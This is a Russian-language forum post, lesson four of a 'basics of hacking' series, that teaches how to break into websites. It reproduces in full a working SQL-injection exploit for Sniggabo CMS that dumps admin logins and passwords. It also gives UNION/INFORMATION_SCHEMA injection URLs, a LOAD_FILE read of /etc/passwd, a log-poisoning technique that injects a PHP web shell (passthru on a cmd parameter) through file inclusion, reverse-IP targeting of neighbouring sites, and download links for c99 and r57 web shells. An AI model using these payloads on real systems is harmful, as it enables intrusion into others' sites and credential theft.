0men0 0 Опубликовано 8 сентября, 2017 Здравствуйте уважаемые посетители портала. Вы читаете 4 урок из серии «Основы хакерства». А вот что мы сегодня разберем:Методы определения версии движка сайта/форума ReversIP и полезные инструменты. Разбираем сплоит. Более углубленное знакомство с SQL injection php include Прогулка по багтракам. Методы определения версии движкаВообще при анализе сайта, нужно сразу смотреть есть ли там паблик скрипты(т.е. не самописные)Что бы найти и использовать эксплоит, нужно как минимум узнать имя и версию CMS, форума или каких либо других скриптов расположенных на сайте (фотогаллереи, новостные ленты и т.п.).Бывает, что данные крутятся в подвале сайта. Но обычно от туда их убирают.Гораздо более эффективный вариант это посмотреть исходный код страницы.Для танкистов: что бы просмотреть исходник страницы нужно нажать на правую кнопку мыши и выбрать «Исходный код страницы», или что то вроде того (в зависимости от браузера).Итак, в исходнике сначала смотрим на текст заключенные в комментарии ([!-- --])Как думаю понятно, это текст на странице не отображается. Там как раз могут быть указаны имя версия CMS, иногда можно найти мыадминистрации и прочие вкусности.В исходнике также можно найти ссылки на каскадные листы стилей (.css). В них иногда тоже можно кое-что найти.Да, еще можно преднамеренно вызвать ошибку. Т.е. попробовать открыть несуществующую папку на сайте (что-то типа www.site.us/gone/), вполне возможно, что сайт выплюнет полезную инфу.Ну думаю тут ясно. Теперь поговорим о форумах:Обычно, что за форум определить несложно. Сложнее узнать версию.В phpbb например есть очень интересный файлик — CHANGELOG.htmlЕго, возможно обнаружить по пути<br><br> forum/docs/CHANGELOG.htmlТам можно обнаружить надпись вроде<br><br> phpBB x.x.x ChangelogВ IPB 1.3 присутствуют файлы ssi.php show.phpВ В 2.0.*<br>/sources/help.php <br>/sources/usercp.php<br> В 2.1.*<br>/ips_kernel/PEAR/Ну и к тому же опять же нужно смотреть на исходный код и на ошибки.Кстати, еще стоит сказать, что доверять баннерам в подвале не стоит. Умный администратор поставить фальшивую подпись.Reverse IP и полезные инструменты.Бывает, что сайт написан на чистом HTML без применения скриптов. Казалось бы, взломать его почти невозможно. Но это не так. Выход-Reverse IP. Суть этой атаки в том, что бы взломать сайт, который хостится на одном сервере с целевым сайтом (если такой имеется). Либо наша цель получить root(права администратора) на сервере. Тогда мы ищем, какие сайты хостятся на сервере и пытаемся взломать один из них.Ну думаю, суть понятна. Другое дело как узнать какие сайты присутствует на сервере.Для этого мы будем использовать сканнеры.Например, я пользуюсь вот этим онлайн сканером от madnet amadnet.name/tools/madss/Так же он составляет примерную структуру сайта.Вот еще неплохойsecurity-digger.org/Тоже присутствует возможность составлять структуру директорий сайта, а также reverse ip.Допустим, забиваем адрес www.job.ruСканер выдает нам соседние сайты.Если речь пошла про онлайн тулзы приведу еще одну:x3k.ru/Здесь есть куча всяких кодировщиков и декодеровщиков (пригодиться нам при инъекциях), так же есть сканер портов Reverse IP whois сервис и еще несколько.Кстати, если вы пользуетесь браузером firefox, то можете установить плагин Reverse IP А плагин LiveHTTPHeaders поможет редактировать HTTP заголовки.Разбираем сплоит.Для тестирования желательно иметь в наличии интерпретатор php. Кажется, на 2 уроке я советовал поставить тебе mysql+apache+php. Если ты уже поставил это и у тебя все работает стабильно то ок. Если не ставил, советую установить DenwerПроцесс установки прост до безобразия. В состав входит все, что нам нужно. Тем более на следующем уроке я хотел бы показать анализ одной CMS, так что Денвер просто необходим.Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS: <br><br> Sniggabo-expl.php<br> 14 июня, 2009<br><?php<br>print_r('<br><br> ################################################<br><br> Sniggabo CMS - Remote SQL Injection Exploit<br><br> Date: 11.06.2009<br> Vulnerability discovered by: Lidloses_Auge<br> Exploit coded by: Lidloses_Auge<br> Homepage: http://www.novusec.com<br> Greetz to: -=Player=- , Suicide, enco,<br> Palme, GPM, karamble, Free-Hack<br><br> Admin Panel: [target]/admin/login.php<br> Dork: "powered by Sniggabo CMS" inurl:article.php?id<br> Use: php '.$argv[0].' http://www.site.com<...ite.com<br><br> ################################################<br> <br> ');<br>$url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)</br>+from+users--";<br>$src = file_get_contents($url);<br>$data = split("::",$src);<br>echo "Admin: $data[1]nPassword: $data[2]n";<br>?>Во-первых обратим внимания на эту строку:Use: php '.$argv[0].' www.site.comВ ней показано, как нужно использовать этот эксплоит.Как видишь запускать его нужно из командно строки. В качестве параметра передаем сайт.Далее сам код:В 1 2 3 строке мы составляем url$argv[1] сайт, который мы передали в качестве параметра.<br>/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--"; — собственно сам процесс получения логина и пароля.Далее<br>$src = file_get_contents($url);Обращаемся по составленному адресу и записываем результат в переменную $src<br>$data = split("::",$src);Разделяем полученный результат по ключевой строке ::<br>echo "Admin: $data[1]nPassword: $data[2]n";Выводим. Если мы будем раскручивать уязвимость вручную, то результат будет таким:Login::passwordВ сплоите как раз по строке :: мы делим результат. В переменной первый элемент будет login а второй password.Local PHP include и выполнение произвольного кода.Сейчас мы поговорим, как через локальный инклуд мы сможем выполнить произвольный код.Как ты помнишь с помощью этой уязвимости мы можем читать файлы на сервер. Так вот, значит мы сможем прочитать логи веб сервера. В логах сохраняются все запросы. Нас интересуют httpd-access.log и httpd-error.log. Суть в то, что бы подделать HTTP заголовок записан в поле User-Agent (например) php код. Далее это код запишется в логи, а логии мы можем загружать. Вот тебе и выполнение кода.Во-первых как подделывать заголовки. Выше я приводил удобный плагин LiveHTTPHeaders. Если вы не пользуетесь Фоксом можно скачать программу InetCrack.Итак, давайте попробуем забить в поле Referer такой код: <br><br><? passthru($_GET['cmd']);?>Все код записан в httpd-access.log. Теперь нужно с помощью инклуда подгрузить его.Тут придется перебирать пути до логов.Вот стандартные forum.hackzona.ru/forum-f8/thread-t13002.htmlНу допустим путь оказался таким:<br><br>../../../../../../etc/apache2/httpd.conf www.include.us/index.php?page= ../../../../../../etc/apache2/httpd.conf&cmd=lsИ мы получим листинг файлов текущей директории (ls).Только учти, выполняется только тот код, который стоит первым в логах. Т.е. у нас будет только одна попытка, а потом по новой.SQL injection.Особенности 5 версии mysqlЧто такое magic quotesКак можно читать файлы с помощью инъекций.До этого мы разбирали инъекции в mysql <5В 5 версии есть кое-какие особенности.Ну значит, с помощью команды version() мы узнали, что база данных версии 5 (or <)В ней присутствует таблица INFORMATION_SCHEMA, в ней находятся таблицы и колонки базы. Она избавит нас от ручного подбора.Реализация<br><br> www.site.us/index.php?id=1<br> www.site.us/index.php?id=1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES/*<br(Читабельное поле 2)И так тут либо мы увидим все таблицы базы либо только первую.Если второе, то прочитать остальные имена можно с помощью limit:<br><br> www.site.us/index.php?id=+union+select+1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES</br>+limit1,2/*Читаем 2 запись.Так, допустим нашли таблицу.Теперь смотрим поля:<br><br> www.site.us/index.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS/*Опять же просмотр конкретных записей:<br><br> www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit 1,2/*Ну и ищем поля типа password или loginТеперь поговорим про магические кавычки (magic quotes)это процесс, который позволяет автоматически экранировать входные данные PHP скрипта.Если magic quotes=on (активны), то входящие одиночные и двойные кавычки, левый слеш и NULL знаки экранируются левыми слешами.Волшебные кавычки бывают:<br><br> magic_quotes_gpc проверяет запросы HTTP (GET, POST, и COOKIE) <br>magic_quotes_runtime функции, которые возвращают данные из внешних источников будут экранироваться левыми слешами.<br> magic_quotes_sybase одиночные кавычки экранируются двойнымиНадеюсь понятно, что если magic_quotes = on нам это очень не на руку.Скоро я расскажу, как это обходить.А теперь как можно прочитать файл с помощью инъекции.Т.е. мы получим тот же локальный php includeНу допустим, есть инъект:<br><br> www.site.us/index.php?id=+union+select+1,2,3,4,5,6,7,8,9,10/*Читабельно поле 2.Загружать файлы можно так:<br><br> www.site.us/index.php?id=+union+select+1,LOAD_FILE(/etc/passwd),4,5,6,7,8,9,10/*Прогулка по багтракам.В этом топе я решил разбирать интересные (ну вообще какие будут) уязвимости с багтраков. Вообще я часто уже говорил, что чтение багтрак лент идет только на пользу. Пожалуй приведу несколько:Русскоязычные:<br> bugtraq.ru/<br> securitylab.ru/<br> securityvulns.ru/Остальные:<br> milw0rm.com<br> packetstormsecurity.org<br> securityfocus.comПриложение:Во-первых, как вы заметили я опустил раздел xss. На данном этапе пока не знаю что вам рассказывать, поэтому просто дам ссылку на интересную статьюhttp://forum.antichat.ru/thread8038.htmlВо вторых несколько ссылок на веб шеллы:<br><br> c99shellhttp://eraserevil.pp.net.ua/_ld/0/87_SiJ.txt<br> AK-74 http://stranger.nextmail.ru/userban.txt<br> r57shell http://www.securitylab.ru/software/234092.php Поделиться сообщением Ссылка на сообщение Поделиться на другие сайты